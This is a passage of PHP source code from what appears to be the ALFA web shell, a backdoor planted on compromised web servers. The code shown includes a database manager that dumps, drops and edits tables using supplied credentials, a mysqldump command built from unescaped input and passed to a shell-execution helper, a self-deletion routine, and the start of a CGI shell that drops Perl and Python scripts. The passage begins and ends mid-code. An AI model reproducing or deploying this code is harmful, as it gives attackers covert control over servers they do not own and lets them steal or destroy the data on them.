$this->query(\"SHOW databases\");\nbreak;\ncase 'pgsql':\nreturn $this->res = $this->query(\"SELECT datname FROM pg_database WHERE datistemplate!='t'\");\nbreak;\n}\nreturn false;\n}\nfunction listTables(){\nswitch($this->type){\ncase 'mysql':\nreturn $this->res = $this->query('SHOW TABLES');\nbreak;\ncase 'pgsql':\nreturn $this->res = $this->query(\"select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'\");\nbreak;\n}\nreturn false;\n}\nfunction error(){\nswitch($this->type){\ncase 'mysql':\nreturn @mysqli_error($this->link);\nbreak;\ncase 'pgsql':\nreturn @pg_last_error();\nbreak;\n}\nreturn false;\n}\nfunction setCharset($str){\nswitch($this->type){\ncase 'mysql':\nif(function_exists('mysql_set_charset'))\nreturn @mysqli_set_charset($this->link,$str);\nelse\n$this->query('SET CHARSET '.$str);\nbreak;\ncase 'pgsql':\nreturn @pg_set_client_encoding($this->link, $str);\nbreak;\n}\nreturn false;\n}\nfunction loadFile($str){\nswitch($this->type){\ncase 'mysql':\nreturn $this->fetch($this->query(\"SELECT LOAD_FILE('\".addslashes($str).\"') as file\"));\nbreak;\ncase 'pgsql':\n$this->query(\"CREATE TABLE solevisible(file text);COPY solevisible FROM '\".addslashes($str).\"';select file from solevisible;\");\n$r=array();\nwhile($i=$this->fetch())\n$r&#91;] = $i&#91;'file'];\n$this->query('drop table solevisible');\nreturn array('file'=>implode(\"\\n\",$r));\nbreak;\n}\nreturn false;\n}\n};\n$db = new DbClass($_POST&#91;'type']);\nalfahead();\n$form_visibility = \"table\";\nif(isset($_POST&#91;'sql_host'])){\n$connection_db = $db->connect($_POST&#91;'sql_host'], $_POST&#91;'sql_login'], $_POST&#91;'sql_pass'], $_POST&#91;'sql_base']);\nif($connection_db &amp;&amp; !empty($_POST&#91;'sql_base'])){\n$form_visibility = \"none\";\n}\n}\n$database_list = array();\necho \"\n&lt;div class='header' style='min-height:300px;'>\".($form_visibility!=\"none\"?\"&lt;center>&lt;div class='txtfont_header'>| Sql Manager |&lt;\/div>&lt;p>\".getConfigHtml('all').\"&lt;\/p>&lt;\/center>&lt;div style='text-align:center;margin-bottom: 10px;'>&lt;button class='connection-his-btn db-opt-id' onclick='alfaShowConnectionHistory(this);' mode='on'>Connection History&lt;\/button>&lt;div class='connection_history_holder'>&lt;\/div>&lt;\/div>\":\"\").\"\n&lt;div class='sf' class='db-opt-id'>&lt;table style='margin: 0 auto;\".($form_visibility==\"none\"?\"display:none;\":\"\").\"' cellpadding='2' cellspacing='0'>&lt;tr>\n&lt;td>&lt;div class=\\\"txtfont\\\">TYPE&lt;\/div>&lt;\/td>&lt;td>&lt;div class=\\\"txtfont\\\">HOST&lt;\/div>&lt;\/td>&lt;td>&lt;div class=\\\"txtfont\\\">DB USER&lt;\/div>&lt;\/td>&lt;td>&lt;div class=\\\"txtfont\\\">DB PASS&lt;\/div>&lt;\/td>&lt;td>&lt;div class=\\\"txtfont\\\">DB NAME&lt;\/div>&lt;\/td>&lt;td>&lt;\/td>&lt;\/tr>&lt;tr>\n&lt;td>&lt;select name='type'>&lt;option value='mysql' selected>mysql&lt;\/option>&lt;\/select>&lt;\/td>\n&lt;td>&lt;input type='text' name='sql_host' id='db_host' value='\". (empty($_POST&#91;'sql_host'])?'localhost':htmlspecialchars($_POST&#91;'sql_host'])) .\"'>&lt;\/td>\n&lt;td>&lt;input type='text' name='sql_login' id='db_user' value='\". (empty($_POST&#91;'sql_login'])?'':htmlspecialchars($_POST&#91;'sql_login'])) .\"'>&lt;\/td>\n&lt;td>&lt;input type='text' name='sql_pass' id='db_pw' value='\". (empty($_POST&#91;'sql_pass'])?'':htmlspecialchars($_POST&#91;'sql_pass'])) .\"'>&lt;\/td>&lt;td>\";\n$tmp = \"&lt;input type='text' name='sql_base' id='db_name' value='\". (empty($_POST&#91;'sql_base'])?'':htmlspecialchars($_POST&#91;'sql_base'])) .\"'>\";\nif(isset($_POST&#91;'sql_host'])){\nif($connection_db){\n$db->setCharset('utf8');\n$db->listDbs();\necho \"&lt;select name=sql_base>&lt;option value=''>&lt;\/option>\";\nwhile($item = $db->fetch()) {\nlist($key, $value) = each($item);\n$database_list&#91;] = $value;\necho '&lt;option value=\"'.$value.'\" '.($value==$_POST&#91;'sql_base']?'selected':'').'>'.$value.'&lt;\/option>';\n}\necho '&lt;\/select>';\n}else{\necho $tmp;\n}\n}else\necho $tmp;\n$curr_mysql_id = $_POST&#91;'current_mysql_id'];\necho \"&lt;\/td>\n&lt;td>&lt;button onclick='fs(this);return false;' class='db-opt-id db-connect-btn'>Connect&lt;\/button>&lt;\/td>\n&lt;td>&lt;input type='checkbox' name='sql_count' value='on'\" . (empty($_POST&#91;'sql_count'])?'':' checked') . \"> &lt;div class=\\\"txtfont\\\">count the number of rows&lt;\/div>&lt;\/td>\n&lt;\/tr>\n&lt;\/table>\";\nif($db->mysqli_connect_error){\necho '&lt;div style=\"text-align: center;font-size: 17px;margin-top: 18px;\">'.$db->mysqli_connect_error_msg.'&lt;\/div>';\n}\nif(!empty($curr_mysql_id)){\n$sql_title_db = \"\";\nif(!empty($_POST&#91;'sql_base'])){\n$sql_title_db = \"d.querySelector('#tab_\".$curr_mysql_id.\" span').innerHTML='\".addslashes($_POST&#91;'sql_base']).\"';\";\n}\necho \"&lt;script>mysql_cache&#91;'\".$curr_mysql_id.\"']&#91;'host']='\".addslashes($_POST&#91;'sql_host']).\"';mysql_cache&#91;'\".$curr_mysql_id.\"']&#91;'user']='\".addslashes($_POST&#91;'sql_login']).\"';mysql_cache&#91;'\".$curr_mysql_id.\"']&#91;'pass']='\".addslashes($_POST&#91;'sql_pass']).\"';mysql_cache&#91;'\".$curr_mysql_id.\"']&#91;'db']='\".addslashes($_POST&#91;'sql_base']).\"';mysql_cache&#91;'\".$curr_mysql_id.\"']&#91;'charset']='\".addslashes($_POST&#91;'charset']).\"';mysql_cache&#91;'\".$curr_mysql_id.\"']&#91;'type']='\".addslashes($_POST&#91;'type']).\"';mysql_cache&#91;'\".$curr_mysql_id.\"']&#91;'count']='\".addslashes($_POST&#91;'sql_count']).\"';\".$sql_title_db.\"alfaConnectionHistoryUpdate();&lt;\/script>\";\n}\nif(isset($db) &amp;&amp; $db->link){\nif(!empty($_POST&#91;'sql_base'])){\necho \"&lt;div class='mysql-main'>&lt;div mode='block' onclick='alfaMysqlTablePanelCtl(this);' class='tables-panel-ctl db-opt-id'>&amp;#x3C;&amp;#x3C;&lt;\/div>&lt;div class='mysql-tables'>&lt;div>&lt;input placeholder=\\\"Filter Table\\\" style='padding: 0;margin-left: 11px;text-align:center;' type='text' name='filter_all'>&lt;button class='db-opt-id' onclick='alfaMysqlFilterAllTable(this);return false;'>Search&lt;\/button>&lt;\/div>&lt;div class='block'>&lt;a sql_count='\".(empty($_POST&#91;'sql_count'])?\"false\":\"true\").\"' mode='closed' onclick='alfaMysqlFilterAllTable(this,true);' class='expander parent-expander db-opt-id' href='javascript:void(0);'>&lt;img src='http:\/\/solevisible.com\/icons\/menu\/b_plus.png' title='Expand\/Collapse All DataBases' alt='Expand\/Collapse All DataBases'>&lt;\/a>&lt;\/div>&lt;ul style='margin-top: 28px;'>\";\nforeach ($database_list as $db_name) {\necho '&lt;li>&lt;div class=\"block\">&lt;i>&lt;\/i>&lt;b>&lt;\/b>&lt;a sql_count=\"'.(empty($_POST&#91;'sql_count'])?\"false\":\"true\").'\" db_target=\"'.$db_name.'\" onclick=\"alfaMysqlExpander(this);\" class=\"expander cls-'.$db_name.'-expander db-opt-id\" href=\"javascript:void(0);\">&lt;img src=\"http:\/\/solevisible.com\/icons\/menu\/'.($db_name == $_POST&#91;'sql_base']?\"b_minus.png\":\"b_plus.png\").'\" title=\"Expand\/Collapse\" alt=\"Expand\/Collapse\">&lt;\/a>&lt;\/div>&lt;span class=\"db_name\">'.$db_name.'&lt;\/span>&lt;div class=\"clearfloat\">&lt;\/div>&lt;div db_name=\"'.$db_name.'\" mode=\"'.($db_name == $_POST&#91;'sql_base']?\"loaded\":\"no\").'\" class=\"list_container cls-'.$db_name.'\">&lt;div>';\nif($db_name == $_POST&#91;'sql_base']){\n$db->selectdb($_POST&#91;'sql_base']);\n$tbls_res = $db->listTables();\necho '&lt;ul>&lt;li>&lt;div class=\"block\">&lt;i>&lt;\/i>&lt;b>&lt;\/b>&lt;\/div>&lt;div>&lt;input style=\"padding: 0;margin-left: 11px;text-align:center;\" type=\"text\" class=\"db-opt-id\" target=\".cls-'.$db_name.'\" placeholder=\"Filter Table\" onkeyup=\"alfaMysqlFilterTable(this);\" name=\"filter\">&lt;\/div>&lt;\/li>';\nwhile($item = $db->fetch($tbls_res)){\nlist($key, $value) = each($item);\nif(!empty($_POST&#91;'sql_count']))\n$n = $db->fetch($db->query('SELECT COUNT(*) as n FROM `'.$value.'`'));\n$value = htmlspecialchars($value);\necho \"&lt;li>&lt;div class='block'>&lt;i>&lt;\/i>&lt;b>&lt;\/b>&lt;\/div>&lt;div class='tables-row'>&lt;input type='checkbox' name='tbl&#91;]' value='\".$value.\"'>&amp;nbsp;&lt;a class='db-opt-id' db_target='\".$db_name.\"' href='javascript:void(0);' onclick=\\\"alfaLoadTableData(this,'\".$value.\"')\\\">&lt;span class='mysql_tables' style='font-weight:unset;'>\".$value.\"&lt;\/span>&lt;\/a>\" . (empty($_POST&#91;'sql_count'])?'&amp;nbsp;':\" &lt;small>&lt;span style='font-weight:unset;' class='mysql_table_count'>({$n&#91;'n']})&lt;\/span>&lt;\/small>\") . \"&lt;\/div>&lt;\/li>\";\n}\necho '&lt;\/ul>&lt;div style=\"margin-left: 26px;margin-bottom: 10px;margin-top: 10px;\">&lt;input onchange=\"alfaMysqlTablesEvil(this);\" class=\"db-opt-id\" target=\".cls-'.$db_name.'\" type=\"checkbox\" class=\"db-opt-id\">&lt;select onchange=\"alfaMysqlTablesDumpDrop(this);\" class=\"db-opt-id\" target=\".cls-'.$db_name.'\" class=\"db-opt-id\" name=\"tables_evil\" style=\"padding: 0;width: 100px;\">&lt;option selected>drop&lt;\/option>&lt;option>dump&lt;\/option>&lt;\/select> &lt;button onclick=\"alfaMysqlTablesDumpDropBtn(this);return false;\" class=\"db-opt-id\" db_target=\"'.$db_name.'\" target=\".cls-'.$db_name.'\" class=\"db-opt-id\">Do it&lt;\/button>&lt;div class=\"dump-file-holder\" style=\"display:none;margin-left:20px;margin-top: 5px;\">&lt;input style=\"padding: 0;text-align:center;\" type=\"text\" placeholder=\"dump.sql\" name=\"dump_file\">&lt;\/div>&lt;\/div>';\n}\necho \"&lt;\/div>&lt;\/li>\";\n}\necho \"&lt;\/ul>&lt;\/div>&lt;div class='mysql-query-results'>&lt;div class='mysql-query-result-tabs'>&lt;div class='db-opt-id mysql-query-selected-tab' target='.mysql-query-result-content' onclick='alfaMysqlTabCtl(this);'>Result&lt;\/div>&lt;div class='db-opt-id' target='.mysql-query-form' onclick='alfaMysqlTabCtl(this);'>Query&lt;\/div>&lt;div class='db-opt-id' target='.mysql-search-area' onclick='alfaMysqlTabCtl(this);'>Search&lt;\/div>&lt;div class='db-opt-id' target='.mysql-structure' onclick='alfaMysqlTabCtl(this);'>Structure&lt;\/div>&lt;div class='db-opt-id' target='.mysql-insert-row' onclick='alfaMysqlTabCtl(this);'>Insert&lt;\/div>&lt;div style='display:none;' class='db-opt-id' target='.mysql-edit-row' onclick='alfaMysqlTabCtl(this);'>Edit&lt;\/div>&lt;\/div>&lt;div class='mysql-query-content mysql-insert-row mysql-hide-content'>&lt;\/div>&lt;div class='mysql-query-content mysql-edit-row mysql-hide-content'>&lt;\/div>&lt;div class='mysql-query-content mysql-search-area mysql-hide-content'>&lt;\/div>&lt;div class='mysql-query-content mysql-structure mysql-hide-content'>&lt;\/div>&lt;div class='mysql-query-content mysql-query-form mysql-hide-content'>&lt;div style='margin-bottom: 5px;'>&lt;span>Query:&lt;\/span>&lt;\/div>&lt;textarea name='query' style='width:90%;height:100px'>&lt;\/textarea>&lt;p>&lt;div style='float:left;margin-left: 30px;'>&lt;input class='button db-opt-id' db_target='\".$_POST&#91;'sql_base'].\"' onclick='alfaMysqlQuery(this);return false;' type='submit' value='>>'>&lt;\/div>&lt;\/p>&lt;\/div>&lt;div class='mysql-query-content mysql-query-result-content'>&lt;div class='mysql-query-result-header'>&lt;div style='margin-bottom: 10px;' class='mysql-query-reporter'>&lt;\/div>&lt;div class='mysql-query-pager'>&lt;\/div>&lt;\/div>&lt;div class='mysql-query-table'>&lt;\/div>&lt;\/div>&lt;\/form>&lt;\/td>&lt;\/tr>\";\n}\necho \"&lt;\/table>&lt;\/div>\";\necho \"&lt;\/div>\";\n}else{\necho htmlspecialchars($db->error());\n}\necho '&lt;\/div>';\nalfafooter();\n}\nfunction alfaSql_manager_api(){\n$db = $_POST&#91;\"alfa1\"];\n$type = $_POST&#91;\"alfa2\"];\n$sql_count = $_POST&#91;\"alfa3\"] == \"true\" ? true : false;\n$db = @json_decode($db, true);\n$conn = @mysqli_connect($db&#91;\"host\"], $db&#91;\"user\"], $db&#91;\"pass\"], $db&#91;\"db\"]);\n@mysqli_set_charset($conn, \"utf8\");\nif($conn){\nif($type == \"load_all_tables\"){\n$tables = array();\n$q_tables = @mysqli_query($conn, \"SELECT `table_schema`, `table_name` FROM `information_schema`.`tables` WHERE `table_schema` IN ('\".implode(\"','\", $db&#91;\"databases\"]).\"');\");\n$count = 0;\nwhile($row = @mysqli_fetch_assoc($q_tables)){\nif($sql_count){\n$count_q = @mysqli_query($conn, 'SELECT COUNT(*) FROM `'.$row&#91;\"table_schema\"].'`.`'.$row&#91;\"table_name\"].'`');\nif($count_q){\n$count = @mysqli_fetch_row($count_q);\n$count = $count&#91;0];\n}\n}\n$tables&#91;$row&#91;\"table_schema\"]]&#91;] = array(\"name\" => $row&#91;\"table_name\"], \"count\" => (int)$count);\n}\nforeach($db&#91;\"databases\"] as $db){\nif(!isset($tables&#91;$db])){\n$tables&#91;$db] = null;\n}\n}\necho @json_encode($tables);\n}elseif($type == \"dump_drop\"){\nif($db&#91;\"mode\"] == \"drop\"){\nforeach ($db&#91;\"tables\"] as $table) {\n@mysqli_query($conn, \"DROP TABLE `\".$table.\"`;\");\n}\n$tables = array();\n$q_tables = @mysqli_query($conn, \"SHOW TABLES;\");\n$count = 0;\nwhile($row = @mysqli_fetch_array($q_tables)){\nif($sql_count){\n$count_q = @mysqli_query($conn, 'SELECT COUNT(*) FROM `'.$row&#91;0].'`');\nif($count_q){\n$count = @mysqli_fetch_row($count_q);\n$count = $count&#91;0];\n}\n}\n$tables&#91;] = array(\"name\" => $row&#91;0], \"count\" => (int)$count);\n}\necho @json_encode($tables);\n}else{\nif(strlen(alfaEx(\"mysqldump\"))>0){\nalfaEx(\"mysqldump --single-transaction --host=\\\"\".$db&#91;\"host\"].\"\\\" --user=\\\"\".$db&#91;\"user\"].\"\\\" --password=\\\"\".$db&#91;\"pass\"].\"\\\" \".$db&#91;\"db\"].\" \".implode(\" \", $db&#91;\"tables\"]).\"  > \".$db&#91;\"dump_file\"]);\n}else{\n$fp = @fopen($db&#91;\"dump_file\"], \"w\");\nforeach ($db&#91;\"tables\"] as $table) {\n$res = @mysqli_query($conn, 'SHOW CREATE TABLE `'.$table.'`');\n$create = @mysqli_fetch_array($res);\n$sql = \"DROP TABLE IF EXISTS `\".$table.\"`;\\n\" . $create&#91;1].\";\\n\";\nif($fp) fwrite($fp, $sql); else echo($sql);\n$tbl_data = @mysqli_query($conn, 'SELECT * FROM `'.$table.'`');\n$head = true;\nwhile($item = @mysqli_fetch_assoc($tbl_data)){\n$columns = array();\nforeach($item as $k=>$v) {\nif($v == null)\n$item&#91;$k] = \"''\";\nelseif(is_numeric($v))\n$item&#91;$k] = $v;\nelse\n$item&#91;$k] = \"'\".@mysqli_real_escape_string($conn, $v).\"'\";\n$columns&#91;] = \"`\".$k.\"`\";\n}\nif($head) {\n$sql = 'INSERT INTO `'.$table.'` ('.implode(\", \", $columns).\") VALUES \\n\\t(\".implode(\", \", $item).')';\n$head = false;\n} else\n$sql = \"\\n\\t,(\".implode(\", \", $item).')';\nif($fp) fwrite($fp, $sql); else echo($sql);\n}\nif(!$head)\nif($fp) fwrite($fp, \";\\n\\n\"); else echo(\";\\n\\n\");\n}\n}\necho @json_encode(array(\"status\" => true, \"file\" => $db&#91;\"dump_file\"]));\n}\n}elseif($type == \"load_tables\"){\n$tables = array();\n$q_tables = @mysqli_query($conn, \"SHOW TABLES;\");\n$count = 0;\nwhile($row = @mysqli_fetch_array($q_tables)){\nif($sql_count){\n$count_q = @mysqli_query($conn, 'SELECT COUNT(*) FROM `'.$row&#91;0].'`');\nif($count_q){\n$count = @mysqli_fetch_row($count_q);\n$count = $count&#91;0];\n}\n}\n$tables&#91;] = array(\"name\" => $row&#91;0], \"count\" => (int)$count);\n}\necho @json_encode($tables);\n}elseif($type == \"alter\"){\n$db&#91;\"alter\"]&#91;\"type\"] = strtolower($db&#91;\"alter\"]&#91;\"type\"]);\n$inputs = $db&#91;\"alter\"]&#91;\"type\"].\"(\".$db&#91;\"alter\"]&#91;\"input\"].\")\";\n$text_input = array(\"longtext\", \"text\", \"mediumtext\", \"tinytext\");\nif(in_array($db&#91;\"alter\"]&#91;\"type\"], $text_input)){\n$inputs = $db&#91;\"alter\"]&#91;\"type\"];\n}\n@mysqli_query($conn, \"ALTER TABLE `\".$db&#91;\"table\"].\"` MODIFY COLUMN `\".$db&#91;\"column\"].\"` \" . $inputs);\n$error = @mysqli_error($conn);\nif($error){\necho $error;\n}else{\necho \"ok\";\n}\n}elseif($type == \"edit\" || $type == \"delete\" || $type == \"delete_all\"){\nif($type == \"edit\"){\n$q = @mysqli_query($conn, \"SELECT * FROM `\".$db&#91;\"db\"].\"`.`\".$db&#91;\"table\"].\"` WHERE `\".$db&#91;\"col_key\"].\"` = '\".addslashes($db&#91;\"key\"]).\"' LIMIT 0,1\");\n$row = @mysqli_fetch_assoc($q);\nif($row){\n$columns_query = @mysqli_query($conn, \"SELECT COLUMN_NAME as name, COLUMN_TYPE, DATA_TYPE as type FROM information_schema.columns WHERE `TABLE_SCHEMA` = '\".$db&#91;\"db\"].\"' AND `TABLE_NAME` = '\".$db&#91;\"table\"].\"'\");\n$columns = array();\n$edit_data = array();\nwhile($row2 = @mysqli_fetch_array($columns_query, MYSQLI_ASSOC)){\n$input = array(\"col_type\" => $row2&#91;\"COLUMN_TYPE\"]);\n$row2&#91;\"type\"] = strtolower($row2&#91;\"type\"]);\nswitch($row2&#91;\"type\"]){\ncase \"longtext\": case \"text\": case \"mediumtext\": case \"tinytext\":\n$input&#91;\"tag\"] = \"textarea\";\nbreak;\ncase \"int\": case \"smallint\": case \"bigint\": case \"tinyint\": case \"mediumint\":\n$input&#91;\"tag\"] = \"input\";\n$input&#91;\"type\"] = \"number\";\nbreak;\ndefault:\n$input&#91;\"tag\"] = \"input\";\n$input&#91;\"type\"] = \"text\";\n}\n$columns&#91;$row2&#91;\"name\"]] = $input;\n}\nforeach($row as $key => $v){\n$edit_data&#91;] = array(\"col\" => $key, \"value\" => htmlspecialchars($v, ENT_QUOTES, 'UTF-8'), \"type\" => $columns&#91;$key]);\n}\necho @json_encode($edit_data);\n}\n}else{\nif($type == \"delete_all\"){\n$rows = implode(\"', '\", $db&#91;\"rows\"]);\n}else{\n$rows = addslashes($db&#91;\"key\"]);\n}\n$query = \"DELETE FROM `\".$db&#91;\"db\"].\"`.`\".$db&#91;\"table\"].\"` WHERE `\".$db&#91;\"col_key\"].\"` IN ('\".$rows.\"')\";\n@mysqli_query($conn, $query);\n$error = @mysqli_error($conn);\nif($error){\n $status = false;\n}else{\n $status = true;\n}\necho @json_encode(array(\"status\" => $status, \"error\" => $error, \"query\" => $query));\n}\n}elseif($type == \"update\"){\n$query = \"UPDATE `\".$db&#91;\"db\"].\"`.`\".$db&#91;\"table\"].\"` SET \";\nforeach($db&#91;\"data\"] as $col => $val){\n$query .= \"`\".$col.\"` = '\".mysqli_real_escape_string($conn, $val).\"',\";\n}\n$query = substr($query, 0, -1);\n$query .= \"WHERE `\".$db&#91;\"col_key\"].\"` = '\".$db&#91;\"key\"].\"'\";\n$res = @mysqli_query($conn, $query);\necho @json_encode(array(\"status\" => $res, \"error\" => @mysqli_error($conn)));\n}elseif($type == \"insert\"){\n$query = \"INSERT INTO `\".$db&#91;\"db\"].\"`.`\".$db&#91;\"table\"].\"` \";\nforeach($db&#91;\"data\"] as $col => $val){\n$cols .= $col . \",\";\n$vals .= \"'\".mysqli_real_escape_string($conn, $val).\"',\";\n}\n$cols = substr($cols, 0, -1);\n$vals = substr($vals, 0, -1);\n$query = $query . \"(\" . $cols . \")\" . \"VALUES(\" . $vals . \")\";\n$res = @mysqli_query($conn, $query);\necho @json_encode(array(\"status\" => $res, \"error\" => @mysqli_error($conn)));\n}else{\n$pages = 0;\n$title = false;\n$query = \"\";\n$tbl_content = '&lt;table width=\"100%\" cellspacing=\"1\" cellpadding=\"2\" class=\"main mysql-data-tbl\" style=\"background-color:#292929\">';\n$line = 0;\n$tables = array();\n$columns = array();\nif($type == \"load_data\"){\n$query = \"SELECT * FROM `\".$db&#91;\"db\"].\"`.`\".$db&#91;\"table\"].\"` LIMIT 0,30\";\n$tbl_count_q = @mysqli_query($conn, \"SELECT COUNT(*) FROM `\".$db&#91;\"db\"].\"`.`\".$db&#91;\"table\"].\"`\");\n$tbl_count = @mysqli_fetch_row($tbl_count_q);\n$columns_query = @mysqli_query($conn, \"SELECT COLUMN_NAME as name, COLUMN_TYPE as type, COLLATION_NAME as collation, DATA_TYPE as data_type, CHARACTER_MAXIMUM_LENGTH as type_value FROM information_schema.columns WHERE `TABLE_SCHEMA` = '\".$db&#91;\"db\"].\"' AND `TABLE_NAME` = '\".$db&#91;\"table\"].\"'\");\nwhile($row2 = @mysqli_fetch_array($columns_query, MYSQLI_ASSOC)){\n$columns&#91;] = $row2;\n}\nif($tbl_count&#91;0] > 30){\n$pages = ceil($tbl_count&#91;0] \/ 30);\n}\n}elseif($type == \"query\"){\n$query = $db&#91;\"query\"];\n}elseif($type == \"page\"){\n$db&#91;\"page\"] = (int)$db&#91;\"page\"] - 1;\n$query = \"SELECT * FROM `\".$db&#91;\"db\"].\"`.`\".$db&#91;\"table\"].\"` LIMIT \".($db&#91;\"page\"]*30).\",30\";\n}elseif($type == \"search\"){\n$search = \"\";\n$search_noval = array(\"= ''\", \"!= ''\", \"IS NULL\", \"IS NOT NULL\");\nforeach($db&#91;\"search\"] as $col => $val){\n$search_noval_r = in_array($val&#91;\"opt\"], $search_noval);\nif(empty($val&#91;\"value\"]) &amp;&amp; !$search_noval_r)continue;\nif(strstr($val&#91;\"opt\"], \"...\") || $search_noval_r){\n$val&#91;\"opt\"] = str_replace(\"...\", $val&#91;\"value\"], $val&#91;\"opt\"]);\n$search .= $col . \" \" . $val&#91;\"opt\"] . \" AND \";\n}else{\n$search .= $col . \" \" . $val&#91;\"opt\"] . \" '\".addslashes($val&#91;\"value\"]).\"' AND \";\n}\n}\n$search .= \"1=1\";\n$query = \"SELECT * FROM `\".$db&#91;\"db\"].\"`.`\".$db&#91;\"table\"].\"` WHERE \" . $search;\n}\n$q_tables = @mysqli_query($conn, $query);\nif(!$q_tables){\necho @json_encode(array(\"status\" => false, \"error\" => @mysqli_error($conn), \"query\" => $query));\nreturn false;\n}\n$col_key = @mysqli_query($conn, \"SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA = '\".@addslashes($db&#91;\"db\"]).\"' AND TABLE_NAME = '\".@addslashes($db&#91;\"table\"]).\"' AND COLUMN_KEY = 'PRI'\");\nif($col_key){\n$col_key = @mysqli_fetch_row($col_key);\n$col_key = $col_key&#91;0];\nif(!empty($col_key)){\n$tbl_content = '&lt;div style=\"margin-bottom:5px;margin-top:5px;\">&lt;button col_key=\"'.$col_key.'\" tbl_name=\"'.$db&#91;\"table\"].'\" db_id=\"'.$db&#91;\"db_id\"].'\" db_target=\"'.$db&#91;\"db\"].'\" onclick=\"alfaMysqlDeleteAllSelectedrows(this);return false;\">Delete Selected Rows&lt;\/button>&lt;\/div>&lt;table width=\"100%\" cellspacing=\"1\" cellpadding=\"2\" class=\"main mysql-data-tbl\" style=\"background-color:#292929\">';\n}\n}else{\n$col_key = false;\n}\nwhile($item = @mysqli_fetch_assoc($q_tables)){\nif(!$title){\n$tbl_content .= '&lt;tr style=\"background-color:#305b8e;\">';\nif($col_key){\n$tbl_content .= '&lt;th style=\"width: 55px;text-align:center;\">&lt;input db_id=\"'.$db&#91;\"db_id\"].'\" onchange=\"alfaMysqlTblSelectAll(this);\" type=\"checkbox\">&lt;\/th>&lt;th style=\"width: 55px;text-align:center;\">Edit&lt;\/th>&lt;th style=\"width: 55px;text-align:center;\">Delete&lt;\/th>';\n}\nforeach($item as $key => $value){\n$tbl_content .= '&lt;th>'.$key.'&lt;\/th>';\n}\nreset($item);\n$title=true;\n$tbl_content .= '&lt;\/tr>&lt;tr>';\n}\n\nif($col_key){\n$cacheMsg = '&lt;td style=\"text-align:center;\">&lt;input row_id=\"'.$line.'\" type=\"checkbox\" name=\"tbl_rows_checkbox&#91;]\" value=\"'.$item&#91;$col_key].'\">&lt;\/td>&lt;td style=\"text-align:center;\">&lt;a class=\"db-opt-id\" href=\"javascript:void(0);\" db_id=\"'.$db&#91;\"db_id\"].'\" db_target=\"'.$db&#91;\"db\"].'\" tbl_name=\"'.$db&#91;\"table\"].'\" col_key=\"'.$col_key.'\" key=\"'.$item&#91;$col_key].'\" onclick=\"alfaMysqlEditRow(this, \\'edit\\');\" style=\"color:#0acaa6;\">Edit&lt;\/a>&lt;\/td>&lt;td style=\"text-align:center;\">&lt;a class=\"db-opt-id\" href=\"javascript:void(0);\" db_id=\"'.$db&#91;\"db_id\"].'\" db_target=\"'.$db&#91;\"db\"].'\" tbl_name=\"'.$db&#91;\"table\"].'\" col_key=\"'.$col_key.'\" key=\"'.$item&#91;$col_key].'\" row_id=\"'.$line.'\" onclick=\"alfaMysqlEditRow(this, \\'delete\\');\" style=\"color:#ff1e1e;\">Delete&lt;\/a>&lt;\/td>';\n}\n$tbl_content .= '&lt;tr class=\"tbl_row tbl_row_l'.$line.'\">'.$cacheMsg;\n$line++;\nforeach($item as $key => $value){\nif($value == null){\n$tbl_content .= '&lt;td>&lt;i>null&lt;\/i>&lt;\/td>';\n}else{\n$tbl_content .= '&lt;td>'.nl2br(htmlspecialchars($value)).'&lt;\/td>';\n}\n}\n$tbl_content .= '&lt;\/tr>';\n}\n$tbl_content .= '&lt;\/table>';\nif(!$title){\n$tbl_content = \"&lt;div style='padding:5px;border:1px dashed;margin:10px;'>Table is empty...&lt;\/div>\";\n}\necho @json_encode(array(\"status\" => true, \"table\" => $tbl_content, \"columns\" => $columns, \"pages\" => $pages, \"query\" => $query));\n}\n@mysqli_close($conn);\n}\n}\nfunction alfaselfrm(){\nif(isset($_POST&#91;'alfa1'])&amp;&amp;$_POST&#91;'alfa1']=='yes'){\necho(__pre().'&lt;center>');\nif(@unlink($GLOBALS&#91;'__file_path'])){\necho('&lt;b>Shell has been removed&lt;\/i> :)&lt;\/b>');\n}else{\necho 'unlink error!';\n}\necho('&lt;\/center>');\n}\nif(isset($_POST&#91;'alfa1'])&amp;&amp;$_POST&#91;'alfa1']!='yes'){\necho \"&lt;div class=header>\";\necho '&lt;p>&lt;div class=\"txtfont\">Do you want to destroy me?!&lt;\/div>&lt;a href=javascript:void(0) onclick=\"g(\\'selfrm\\',null,\\'yes\\');\"> Yes&lt;\/a>';\necho '&lt;\/p>&lt;\/center>&lt;\/div>';\n}\n}\nfunction alfacgishell(){\nalfahead();\n$div = \"\";\nalfaCreateParentFolder();\n@chdir($GLOBALS&#91;'home_cwd'] . \"\/\" . __ALFA_DATA_FOLDER__);\nif(!in_array($_POST&#91;'alfa1'],array('perl','py'))){\n$div = \"&lt;\/div>\";\necho '&lt;div class=header>&lt;center>&lt;p>&lt;div class=\"txtfont_header\">| CGI Shell |&lt;\/div>&lt;\/p>&lt;h3>&lt;a class=\"rejectme\" href=\"javascript:void(0)\" onclick=\"runcgi(\\'perl\\')\">| Perl | &lt;\/a>&lt;a class=\"rejectme\" href=\"javascript:void(0)\" onclick=\"runcgi(\\'py\\');\">| Python | &lt;\/a>';\n}\nif(isset($_POST&#91;'alfa1'])&amp;&amp;in_array($_POST&#91;'alfa1'],array('perl','py'))){\n@mkdir('cgialfa',0755);\n@chdir('cgialfa');\nalfacgihtaccess('cgi');\n$name = $_POST&#91;'alfa1'].'.alfa';\n$perl = '#!\/usr\/bin\/perl   -I\/usr\/local\/bandmin'.\"\\n\".'use MIME::Base64;use 